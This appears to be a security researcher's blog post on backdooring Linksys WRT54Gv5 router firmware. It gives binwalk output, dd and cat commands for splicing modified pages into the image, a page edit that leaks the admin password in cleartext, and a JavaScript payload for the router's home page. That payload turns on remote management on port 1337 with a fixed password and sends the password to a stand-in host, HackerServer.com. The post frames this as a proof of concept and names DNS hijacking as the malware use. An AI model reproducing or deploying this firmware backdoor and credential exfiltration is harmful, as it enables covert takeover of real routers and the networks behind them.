A More Universal Router Payload – Backdooring the Linksys WRT54G Firmware

Recently I’ve had an interest in trying my hand in embedded device hacking. I decided that I’d pick up something I know to start with. After searching eBay I decided on the popular Linksys WRT54Gv5 router. After personally using this router for years I figured it’d be a nice familiar place to start.

No place like!

No place like!

My first goal was to reverse engineer the firmware to get a better idea of what the internals looked like. This turned out to be a pain as apparently Linksys doesn’t host the firmware anymore and due to the firmware being copyright protected nobody else does either. Which is an idiotic thing by itself but eventually I was able to find a stock copy. I flashed my router with it to keep it consistent and began analysis of the firmware.


After reading a bit from the http://www.devttys0.com/ blog I decided to use binwalk to analyze the firmware file.

Here are the results:

mandatory@mandatorys-box:~/Reversing/5v_Linksys-WRT54Gv5$ binwalk FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin
 512 0x200 ELF 32-bit LSB MIPS-II executable, MIPS, version 1 (SYSV)
 101648 0x18D10 Copyright string: " 1984-1996 Wind River Systems, Inc.Inc."
 103664 0x194F0 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3680864 bytes
 1182692 0x120BE4 TROC filesystem, 102 file entries
 1185153 0x121581 gzip compressed data, was "apply.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}
 1185892 0x121864 gzip compressed data, was "apply1.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}

Full pastebin here

So, after seeing this I counted myself pretty lucky, here is a breakdown of this data as I understand it:

  • At offset 0x200 we have our MIPS bootloader
  • Offset 0x18D10 is a copyright string for Wind River Systems Inc. this is important because they created the Vxworks Operating System which this router uses
  • Offset 0x194F0 is the Vxworks OS/filesystem which I currently have not been able to disassemble (due to it being a proprietary and largely undocumented filesystem, at least from what I could see)
  • Tons of flat files like “apply.htm” all gzip compressed

Visually our firmware looks like this: [ Bootloader ] [ Copyright String ] [ VxWork OS & Filesystem ] [ TROC Filesystem Entry ] [ gziped htm/image files ]

What makes us lucky is the fact that the gzipped files are concatenated one after another. This allows us to know where each file ends and starts. The offsets are determined by the magic number signatures for the different filetypes. These are simply a couple bytes that mark what type of file is being used. So for example the bytes for the gzip format are 1f 8b – binwalk finds these and lists where in the binary they are located.

Great, so now we can get to the fun part. Logically, we should be able to slice out files and replace them as long as the size is consistent. This is probably not necessary but it’s a worst case scenario (say, if they actually depend on certain offsets for updates).

Chop Chop!

A little bit of dd and we can chop one of the .htm files out of the router for modification. Binwalk has a built in extract function but I could not get it to work properly (attempt it yourself to see what I mean).

dd if=firmware.bin bs=1 skip=[Offset] count=[Next Offset - Current Offset] of=output_filename

We’ll start off with something simple first, let’s cut out just the “Unauthorized.htm” file and the “lastpassword.htm”. I have no idea why “lastpassword.htm” is actually in this firmware but it will display the current router’s password in cleartext. Perhaps a leftover from fun debugging when this firmware was being built.


<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">


<HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD>
<BODY BGCOLOR="#cc9999"><H4>401 Unauthorized</H4>
Authorization required.

You’ll notice this bit in the “lastpassword.htm” file:


That tag will be replaced with the current router password, so perhaps we will put it in Unauthorized.htm! That way we will always be able to take control of the router regardless of password changes.

Remember, because we’re being paranoid we will ensure the file is the same size as when we started. It’ll be a little bit of a pain due to compression being used on the .htm files, but it’s not too bad.

After a bit of fiddling we end up with:

<HTML><BODY BGCOLOR="#cc9999"> <H4>401 Unauthorized</H4>

After a quick ls we can see the files are exactly the same size:

9699468   12 -rw-r--r-- 144 Oct 18 14:44 Unauthorized.htm.gz
9699467   12 -rw-rw-r-- 144 Oct 18 14:13 Unauthorized_original.htm.gz

Now reference our binwalk data:

1338096         0x146AF0        GIF image data, version "89a", 192 x 64
1340943         0x14760F        gzip compressed data, was "Unauthorized.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009
1341087         0x14769F        gzip compressed data, was "Upgrade.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009
1344585         0x148449        gzip compressed data, was "UpgStat.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009

So we’ll cut before and after the original “Unauthorized.htm” file and then we’ll rebuild with cat.

# Cut off first half of firmware right before Unauthorized.htm.gz
dd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 count=1340943 of=first_half

# Cut out the second half of the firmware right after Unauthorized.htm.gz
dd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 skip=1341087 of=second_half

# Add our backdoored Unauthorized.htm.gz to the firmware
cat Unauthorized.htm.gz >> first_half

# Put the pieces together
cat second_half >> first_half

Great! Of course we should double check all is consistent but upon rebuilding everything we can go ahead and flash the firmware!


I’ll admit the first time I did this I was pretty nervous it wouldn’t work. However it all works out fine (and why wouldn’t it?).

The firmware has been flashed but did it work?


We simply cancel this dialogue and get the not authorized page:


Upon viewing the source we have the password in cleartext wrapped in HTML comment tags like we specified:


Perfect! We now have persistent access to the router in a pretty stealthy way. But this isn’t universal or useful on a larger scale, what if we want a payload that works more like a botnet?


In search of a more universal backdoor we will make this one completely Javascript. Javascript is a good option due to the fact that it is not platform dependent (MIPS assembly payload wouldn’t work on a non-MIPS router etc). It also provides us with enough functionality to change all of the built in setting to whatever we please (via XMLHTTPrequests, etc.). While we won’t be able to preform DoS attacks we will be able to do important things like control the router’s DNS server. Control over the router’s DNS is valuable to malware authors who can use this to do network wide adware/malware attacks. This is because most computers will simply use the DNS that the router chooses, so it’s much more efficient to simply hack the router than all of the individual computers. This sort of attack has already been preformed in the wild by malware like the Zlob trojan, which turned out to be very effective.

So, let’s get to it!

The homepage of the router is the “basic.htm” file, upon logging in the user is immediately directed there. So if we backdoor that page we will have a good level of persistence. We will make a payload that will send the username and password back to our control server and also enable remote authentication on port 1337.

After a bit of Javascript coding and we have something usable:

function evil_payload()
    xml = new XMLHttpRequest();
    xml.open('POST', 'http://admin:<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>@');
    var params = "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=0&http_passwd=d6nw5v1x2pc7st9m&http_passwdConfirm=d6nw5v1x2pc7st9m&_http_enable=1&web_wl_filter=1&remote_management=1&http_wanport=1337&upnp_enable=1&layout=en";
    xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xml.setRequestHeader("Content-length", params.length);
    xml.setRequestHeader("Connection", "close");
    thb = new XMLHttpRequest();
    thb.open('GET', 'http://HackerServer.com/hue.php?p=<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>');

In two requests we will both set remote control and send the username and password back to the botnet server.

Using the same method as before we trim off all excess space and useless HTML (lots of commented out code in the production firmware, it’s pretty horrifying). Then we will pack it back into the firmware (remember: we must ensure the files are the same size).

Another flash and wallah! We have our new backdoored firmware!


Granted this is just a proof of concept, the real backdoor would probably contact a C&C for further instructions/fresh set of DNS servers.

Much more simple than you’d think, most router firmware that I’ve analyzed can be modified in this same way.

Until next time,


Matthew Bryant (mandatory)

Matthew Bryant (mandatory)
Security researcher who needs to sleep more. Opinions expressed are solely my own and do not express the views or opinions of my employer.